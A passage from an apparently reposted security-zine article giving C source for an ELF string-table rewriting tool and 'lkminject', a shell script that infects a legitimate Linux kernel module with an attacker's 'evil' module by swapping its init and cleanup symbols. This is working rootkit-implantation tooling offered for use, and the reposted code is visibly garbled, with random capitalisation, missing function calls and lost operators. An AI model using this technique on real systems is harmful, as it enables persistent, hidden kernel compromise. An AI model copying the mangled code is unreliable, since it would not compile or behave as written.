Printf ("[ ] .strtab Entry Overwriten with% S / N", Argv [3]);

Fclose (fd);

Return EXIT_SUCCESS;

}

ELF32_OFF ELFGETSYMBOLBYNAME (file * fd, ELF32_SHDR * SYMTAB,

ELF32_SHDR * STRTAB, CHAR * Name, ELF32_SYM * SYM)

{

INT I;

Char Symname [255];

ELF32_OFF OFFSET;

For (i = 0; i <(symtab-> sh_size / symtab-> sh_entsize); i )

{

IF (FD, Symtab-> SH_OFFSET (i * symtab-> sh_entsize),

Seek_set) == -1)

Fatal ("fseek");

IF (FREAD (SYM, SIZEOF (ELF32_SYM), 1, FD) <1)

Fatal ("SymTab Corrupted");

MEMSET (Symname, 0, Sizeof (Symname);

Offset = Elfgetsymbolname (fd, Sym-> ST_NAME,

Strtab, Symname, SizeOf (Symname);

IF (! Strcmp (Symname, Name))

Return offset;

}

Return -1;

}

INT ElfgetSectionByindex (file * fd, ELF32_EHDR * EHDR, ELF32_HALF INDEX,

ELF32_SHDR * SHDR) {

IF (FD, EHDR-> E_SHOFF (INDEX * EHDR-> E_SHENTSIZE),

Seek_set) == -1)

Fatal ("fseek");

IF (Fread (SHDR, SIZEOF (ELF32_SHDR), 1, FD) <1)

Fatal ("Sections Header Corrupted");

Return 0;

}

INT ElfgetsectionByname (file * fd, elf32_ehdr * ehdr, char * section,

ELF32_SHDR * SHDR)

{

INT I;

CHAR Name [255];

ELF32_SHDR SHSTRTABLE;

/ *

* Get the section header string TABLE

* /

ElfgetsectionByindex (FD, EHDR, EHDR-> E_SHSTRNDX, & ShSTRTABLE);

MEMSET (Name, 0, SIZEOF (Name);

For (i = 0; i e_shnum; i )

{

IF (FD, EHDR-> E_SHOFF (i * ehdr-> e_shennsize),

Seek_set) == -1)

Fatal ("fseek");

IF (Fread (SHDR, SIZEOF (ELF32_SHDR), 1, FD) <1)

Fatal ("Sections Header Corrupted");

ElfgetsectionName (fd, shstable,

Name, sizeof (name));

IF (! strcmp (name, section))

{

Return 0;

}

}

Return -1;

}

INT ElfgetSectionname (file * fd, ELF32_word sh_name,

ELF32_SHDR * SHSTRTABLE, CHAR * RES, SIZE_T LEN

{

SIZE_T I = 0;

IF (fseek (fd, shstable-> sh_offset sh_name, seek_set) == -1)

Fatal ("fseek");

While ((i

{

* res = fgetc (fd);

i ;

RES ;

}

Return 0;

}

ELF32_OFF ELFGETSYMBOLNAME (File * fd, Elf32_word sym_name,

ELF32_SHDR * STRTABLE, CHAR * RES, SIZE_T LEN

{

SIZE_T I = 0;

IF (FD, STRTABLE-> SH_OFFSET SYM_NAME, SEEK_SET) == -1)

Fatal ("fseek");

While ((i

{

* res = fgetc (fd);

i ;

RES ;

}

Return (start-> sh_offset sym_name);

}

/ * EOF * /

----] 9.2 LKMINJECT #! / Bin / sh

#

# lkminject by truff (Truff@projet7.org)

#

# Injects a Linux lkm Into another one.

#

# Usage:

#./lkminfect.sh original_lkm.o evil_lkm.c

#

# Notes:

# You Have to modify evil_lkm.c as evted Bellow:

# In the init_module code, you have to insert this line, Just After

# Variables init:

# dumm_module ();

#

# In the cleanup_module code, you have to insert this line, Just After

# Variables init:

# Dummcle_Module ();

#

#

http://www.projet7.org - Security Research -

######################################################################################################################################################################################################################################################################################################## ##############################

SED -E S / INIT_MODULE / EVIL_MODULE / $ 2> TMP

MV TMP $ 2

SED -E S / CLEANUP_MODULE / EVCLEAN_MODULE / $ 2> TMP

MV TMP $ 2

# Replace the folowing line with the compilation line for your evil LKM

# if needed.

Make

LD -R $ 1 $ (BaseName $ 2 .c) .o -o evil.o

... / ElfstrChange Evil.o Init_Module Dumm_Module

... / ElfstrChange Evil.o Evil_Module Init_Module

... / ElfstrChange Evil.o Cleanup_Module Dummcle_Module

... / ElfstrChange Evil.o Evclean_Module Cleanup_Module

MV Evil.o $ 1

RM ElfstrChange

| = [EOF] = ------------------------------------------------------------------------------------------------------------------------ ------------------- = |

转载请注明原文地址:https://www.9cbs.com/read-105733.html

New Post(0)